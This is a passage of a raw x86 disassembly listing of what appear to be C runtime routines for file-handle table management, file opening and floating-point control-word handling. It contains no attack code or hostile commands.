		mov	ecx, offset dword_4CECE0

loc_41FCBB:				; CODE XREF: sub_41FCAC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41FCF8
		lea	edx, [eax+100h]

loc_41FCC7:				; CODE XREF: sub_41FCAC+28j
		cmp	eax, edx
		jnb	short loc_41FCE7
		test	byte ptr [eax+4], 1
		jz	short loc_41FCD6
		add	eax, 8
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------

loc_41FCD6:				; CODE XREF: sub_41FCAC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41FD3B

loc_41FCE7:				; CODE XREF: sub_41FCAC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4CEDE0
		jl	short loc_41FCBB
		jmp	short loc_41FD3B
; ---------------------------------------------------------------------------

loc_41FCF8:				; CODE XREF: sub_41FCAC+13j
		mov	esi, 100h
		push	esi
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41FD3B
		add	dword_4CEDE0, 20h
		lea	ecx, ds:4CECE0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_41FD1E:				; CODE XREF: sub_41FCAC+88j
		cmp	eax, edx
		jnb	short loc_41FD36
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41FD1E
; ---------------------------------------------------------------------------

loc_41FD36:				; CODE XREF: sub_41FCAC+74j
		shl	edi, 5
		mov	ebx, edi

loc_41FD3B:				; CODE XREF: sub_41FCAC+39j
					; sub_41FCAC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41FCAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD41	proc near		; CODE XREF: sub_41FEC6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4CEDE0
		push	edi
		jnb	short loc_41FDA1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41FDA1
		cmp	dword_433C64, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41FD97
		sub	eax, 0
		jz	short loc_41FD8E
		dec	eax
		jz	short loc_41FD89
		dec	eax
		jnz	short loc_41FD97
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------

loc_41FD89:				; CODE XREF: sub_41FD41+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------

loc_41FD8E:				; CODE XREF: sub_41FD41+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_41FD91:				; CODE XREF: sub_41FD41+46j
					; sub_41FD41+4Bj
		nop
		call	near ptr 25E05F7h

loc_41FD97:				; CODE XREF: sub_41FD41+36j
					; sub_41FD41+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41FDB5
; ---------------------------------------------------------------------------

loc_41FDA1:				; CODE XREF: sub_41FD41+Cj
					; sub_41FD41+28j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh

loc_41FDB5:				; CODE XREF: sub_41FD41+5Ej
		pop	edi
		pop	esi
		retn
sub_41FD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41A6B7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4CEDE0
		push	edi
		jnb	short loc_41FE1B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41FE1B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41FE1B
		cmp	dword_433C64, 1
		jnz	short loc_41FE11
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41FE08
		dec	ecx
		jz	short loc_41FE03
		dec	ecx
		jnz	short loc_41FE11
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------

loc_41FE03:				; CODE XREF: sub_41FDB8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------

loc_41FE08:				; CODE XREF: sub_41FDB8+3Ej
		push	eax
		push	0FFFFFFF6h

loc_41FE0B:				; CODE XREF: sub_41FDB8+49j
					; sub_41FDB8+4Ej
		call	near ptr 25E05F7h
		nop

loc_41FE11:				; CODE XREF: sub_41FDB8+38j
					; sub_41FDB8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41FE2F
; ---------------------------------------------------------------------------

loc_41FE1B:				; CODE XREF: sub_41FDB8+Cj
					; sub_41FDB8+2Aj ...
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh

loc_41FE2F:				; CODE XREF: sub_41FDB8+61j
		pop	edi
		pop	esi
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE32	proc near		; CODE XREF: sub_41A6B7+32p
					; sub_41A6B7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jnb	short loc_41FE5A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4CECE0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41FE5A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_41FE5A:				; CODE XREF: sub_41FE32+Aj
					; sub_41FE32+23j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41FE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6F	proc near		; CODE XREF: sub_41A795+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jnb	short loc_41FEB8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4CECE0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41FEB8
		push	eax
		call	sub_41FE32
		pop	ecx
		push	eax
		nop
		call	near ptr 25E004Fh
		test	eax, eax
		jnz	short loc_41FEAD
		nop
		call	near ptr 2660AEBh
		jmp	short loc_41FEAF
; ---------------------------------------------------------------------------

loc_41FEAD:				; CODE XREF: sub_41FE6F+34j
		xor	eax, eax

loc_41FEAF:				; CODE XREF: sub_41FE6F+3Cj
		test	eax, eax
		jz	short locret_41FEC5
		mov	dword_4CD9B8, eax

loc_41FEB8:				; CODE XREF: sub_41FE6F+Aj
					; sub_41FE6F+22j
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh

locret_41FEC5:				; CODE XREF: sub_41FE6F+42j
		retn
sub_41FE6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEC6	proc near		; CODE XREF: sub_41A96C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41FEEC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41FEF7
; ---------------------------------------------------------------------------

loc_41FEEC:				; CODE XREF: sub_41FEC6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_41FEF7:				; CODE XREF: sub_41FEC6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41FF11
		test	ch, 40h
		jnz	short loc_41FF0D
		cmp	dword_4CDC88, eax
		jz	short loc_41FF11

loc_41FF0D:				; CODE XREF: sub_41FEC6+3Dj
		or	[ebp+var_1], 80h

loc_41FF11:				; CODE XREF: sub_41FEC6+38j
					; sub_41FEC6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41FF49
		dec	eax
		jz	short loc_41FF40
		dec	eax
		jz	short loc_41FF37

loc_41FF22:				; CODE XREF: sub_41FEC6+9Fj
					; sub_41FEC6+E8j ...
		mov	dword_4CD9B4, 16h
		mov	dword_4CD9B8, ebx
		jmp	loc_42015C
; ---------------------------------------------------------------------------

loc_41FF37:				; CODE XREF: sub_41FEC6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------

loc_41FF40:				; CODE XREF: sub_41FEC6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------

loc_41FF49:				; CODE XREF: sub_41FEC6+54j
		mov	[ebp+var_C], 80000000h

loc_41FF50:				; CODE XREF: sub_41FEC6+78j
					; sub_41FEC6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41FF7E
		cmp	eax, 20h
		jz	short loc_41FF75
		cmp	eax, 30h
		jz	short loc_41FF6C
		cmp	eax, 40h
		jnz	short loc_41FF22
		mov	[ebp+var_10], esi
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF6C:				; CODE XREF: sub_41FEC6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF75:				; CODE XREF: sub_41FEC6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF7E:				; CODE XREF: sub_41FEC6+90j
		mov	[ebp+var_10], ebx

loc_41FF81:				; CODE XREF: sub_41FEC6+A4j
					; sub_41FEC6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41FFCB
		jz	short loc_41FFC6
		cmp	ecx, ebx
		jz	short loc_41FFC6
		cmp	ecx, edi
		jz	short loc_41FFBD
		cmp	ecx, 200h
		jz	short loc_41FFE4
		cmp	ecx, 300h
		jnz	loc_41FF22
		mov	[ebp+var_8], 2
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFBD:				; CODE XREF: sub_41FEC6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFC6:				; CODE XREF: sub_41FEC6+D0j
					; sub_41FEC6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFCB:				; CODE XREF: sub_41FEC6+CEj
		cmp	ecx, 500h
		jz	short loc_41FFED
		cmp	ecx, 600h
		jz	short loc_41FFE4
		cmp	ecx, edx
		jz	short loc_41FFED
		jmp	loc_41FF22
; ---------------------------------------------------------------------------

loc_41FFE4:				; CODE XREF: sub_41FEC6+E0j
					; sub_41FEC6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFED:				; CODE XREF: sub_41FEC6+10Bj
					; sub_41FEC6+117j
		mov	[ebp+var_8], 1

loc_41FFF4:				; CODE XREF: sub_41FEC6+F5j
					; sub_41FEC6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_420013
		mov	ecx, dword_4CD9BC
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_420013
		push	1
		pop	esi

loc_420013:				; CODE XREF: sub_41FEC6+138j
					; sub_41FEC6+148j
		test	al, 40h
		jz	short loc_420021
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_420021:				; CODE XREF: sub_41FEC6+14Fj
		test	ah, 10h
		jz	short loc_420028
		or	esi, edi

loc_420028:				; CODE XREF: sub_41FEC6+15Ej
		test	al, 20h
		jz	short loc_420034
		or	esi, 8000000h
		jmp	short loc_42003E
; ---------------------------------------------------------------------------

loc_420034:				; CODE XREF: sub_41FEC6+164j
		test	al, 10h
		jz	short loc_42003E
		or	esi, 10000000h

loc_42003E:				; CODE XREF: sub_41FEC6+16Cj
					; sub_41FEC6+170j
		call	sub_41FCAC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_42005F

loc_42004C:				; DATA XREF: ___:00427A84o
					; ___:00427A90o
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 18h
		jmp	short loc_42009D
; ---------------------------------------------------------------------------

loc_42005F:				; CODE XREF: sub_41FEC6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660802h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420090
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jnz	short loc_4200A4
		push	esi
		nop
		call	near ptr 2640811h

loc_420090:				; CODE XREF: sub_41FEC6+1B6j
		nop
		call	near ptr 2660AEBh
		push	eax
		call	sub_41EF44
		pop	ecx

loc_42009D:				; CODE XREF: sub_41FEC6+197j
		mov	eax, edi
		jmp	loc_42017A
; ---------------------------------------------------------------------------

loc_4200A4:				; CODE XREF: sub_41FEC6+1C1j
		cmp	eax, 2
		jnz	short loc_4200AF
		or	[ebp+var_1], 40h
		jmp	short loc_4200B8
; ---------------------------------------------------------------------------

loc_4200AF:				; CODE XREF: sub_41FEC6+1E1j
		cmp	eax, 3
		jnz	short loc_4200B8
		or	[ebp+var_1], 8

loc_4200B8:				; CODE XREF: sub_41FEC6+1E7j
					; sub_41FEC6+1ECj
		push	esi
		push	ebx
		call	sub_41FD41
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_420161
		test	al, 80h
		jz	short loc_420161
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_420161
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_420116
		cmp	dword_4CD9B8, 83h
		jz	short loc_420161
		jmp	short loc_420155
; ---------------------------------------------------------------------------

loc_420116:				; CODE XREF: sub_41FEC6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420143
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_420143
		push	[ebp+var_10]
		push	ebx
		call	sub_4211F1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420155

loc_420143:				; CODE XREF: sub_41FEC6+265j
					; sub_41FEC6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420161

loc_420155:				; CODE XREF: sub_41FEC6+24Ej
					; sub_41FEC6+27Bj
		push	ebx
		call	sub_41A6B7
		pop	ecx

loc_42015C:				; CODE XREF: sub_41FEC6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42017A
; ---------------------------------------------------------------------------

loc_420161:				; CODE XREF: sub_41FEC6+221j
					; sub_41FEC6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_420178
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_420178
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_420178:				; CODE XREF: sub_41FEC6+29Fj
					; sub_41FEC6+2A5j
		mov	eax, ebx

loc_42017A:				; CODE XREF: sub_41FEC6+1D9j
					; sub_41FEC6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42017F	proc near		; CODE XREF: sub_41C50A+52p
		xor	eax, eax
		retn
sub_42017F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420182	proc near		; CODE XREF: sub_4201B7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4201CD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42025F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_420182	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B7	proc near		; CODE XREF: sub_41C7F6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420182
		pop	ecx
		pop	ecx
		retn
sub_4201B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201CD	proc near		; CODE XREF: sub_420182+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4201DE
		push	10h
		pop	eax

loc_4201DE:				; CODE XREF: sub_4201CD+Cj
		test	bl, 4
		jz	short loc_4201E5
		or	al, 8

loc_4201E5:				; CODE XREF: sub_4201CD+14j
		test	bl, 8
		jz	short loc_4201EC
		or	al, 4

loc_4201EC:				; CODE XREF: sub_4201CD+1Bj
		test	bl, 10h
		jz	short loc_4201F3
		or	al, 2

loc_4201F3:				; CODE XREF: sub_4201CD+22j
		test	bl, 20h
		jz	short loc_4201FA
		or	al, 1

loc_4201FA:				; CODE XREF: sub_4201CD+29j
		test	bl, 2
		jz	short loc_420204
		or	eax, 80000h

loc_420204:				; CODE XREF: sub_4201CD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42023C
		cmp	edx, 400h
		jz	short loc_420239
		cmp	edx, 800h
		jz	short loc_420235
		cmp	edx, esi
		jnz	short loc_42023C
		or	eax, edi
		jmp	short loc_42023C
; ---------------------------------------------------------------------------

loc_420235:				; CODE XREF: sub_4201CD+5Ej
		or	eax, ebp
		jmp	short loc_42023C
; ---------------------------------------------------------------------------

loc_420239:				; CODE XREF: sub_4201CD+56j
		or	ah, 1

loc_42023C:				; CODE XREF: sub_4201CD+4Ej
					; sub_4201CD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42024C
		cmp	ecx, ebp
		jnz	short loc_420251
		or	eax, 10000h
		jmp	short loc_420251
; ---------------------------------------------------------------------------

loc_42024C:				; CODE XREF: sub_4201CD+72j
		or	eax, 20000h

loc_420251:				; CODE XREF: sub_4201CD+76j
					; sub_4201CD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42025E
		or	eax, 40000h

locret_42025E:				; CODE XREF: sub_4201CD+8Aj
		retn
sub_4201CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42025F	proc near		; CODE XREF: sub_420182+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42026F
		push	1
		pop	eax

loc_42026F:				; CODE XREF: sub_42025F+Bj
		test	bl, 8
		jz	short loc_420276
		or	al, 4

loc_420276:				; CODE XREF: sub_42025F+13j
		test	bl, 4
		jz	short loc_42027D
		or	al, 8

loc_42027D:				; CODE XREF: sub_42025F+1Aj
		test	bl, 2
		jz	short loc_420284
		or	al, 10h

loc_420284:				; CODE XREF: sub_42025F+21j
		test	bl, 1
		jz	short loc_42028B
		or	al, 20h

loc_42028B:				; CODE XREF: sub_42025F+28j
		test	ebx, 80000h
		jz	short loc_420295
		or	al, 2

loc_420295:				; CODE XREF: sub_42025F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4202C2
		cmp	ecx, 100h
		jz	short loc_4202BF
		cmp	ecx, esi
		jz	short loc_4202BA
		cmp	ecx, edx
		jnz	short loc_4202C2
		or	ah, 0Ch
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------

loc_4202BA:				; CODE XREF: sub_42025F+50j
		or	ah, 8
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------

loc_4202BF:				; CODE XREF: sub_42025F+4Cj
		or	ah, 4

loc_4202C2:				; CODE XREF: sub_42025F+44j
					; sub_42025F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4202D8
		cmp	ecx, 10000h
		jnz	short loc_4202DA
		or	eax, esi
		jmp	short loc_4202DA
; ---------------------------------------------------------------------------

loc_4202D8:				; CODE XREF: sub_42025F+6Bj
		or	eax, edx

loc_4202DA:				; CODE XREF: sub_42025F+73j
					; sub_42025F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4202E7
		or	ah, 10h

locret_4202E7:				; CODE XREF: sub_42025F+83j
		retn
sub_42025F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202E8	proc near		; CODE XREF: sub_420387+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42032D
		inc	esi
		cmp	esi, 3
		jge	short loc_420328
		lea	eax, [eax+esi*4]

loc_42031A:				; CODE XREF: sub_4202E8+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42032D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_42031A

loc_420328:				; CODE XREF: sub_4202E8+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42032D:				; CODE XREF: sub_4202E8+27j
					; sub_4202E8+35j
		xor	eax, eax
		pop	esi
		retn
sub_4202E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_420331	proc near		; CODE XREF: sub_420387+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		js	short loc_420383
		lea	edi, [ebx+esi*4]

loc_42036A:				; CODE XREF: sub_420331+50j
		test	eax, eax
		jz	short loc_420383
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_42036A

loc_420383:				; CODE XREF: sub_420331+34j
					; sub_420331+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420387	proc near		; CODE XREF: sub_4204E2+81p
					; sub_4204E2+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4203EB
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4202E8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4203E8
		push	edi
		push	[ebp+arg_0]
		call	sub_420331
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_4203E8:				; CODE XREF: sub_420387+51j
		mov	eax, [ebp+arg_4]

loc_4203EB:				; CODE XREF: sub_420387+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_42040B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_42040B:				; CODE XREF: sub_420387+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420387	endp


; =============== S U B	R O U T	I N E =======================================



sub_420413	proc near		; CODE XREF: sub_4204E2+75p
					; sub_4204E2+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_420421:				; CODE XREF: sub_420413+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_420421
		pop	esi
		retn
sub_420413	endp


; =============== S U B	R O U T	I N E =======================================



sub_42042E	proc near		; CODE XREF: sub_4204E2+5Fp
					; sub_4204E2+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42042E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42043A	proc near		; CODE XREF: sub_4204E2+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_420440:				; CODE XREF: sub_42043A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_420452
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_420440
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_420452:				; CODE XREF: sub_42043A+9j
		xor	eax, eax
		retn
sub_42043A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420455	proc near		; CODE XREF: sub_4204E2+C0p
					; sub_4204E2+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_42048B:				; CODE XREF: sub_420455+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_42048B
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_4204BD:				; CODE XREF: sub_420455+86j
		cmp	ebx, edi
		jl	short loc_4204D0
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4204D7
; ---------------------------------------------------------------------------

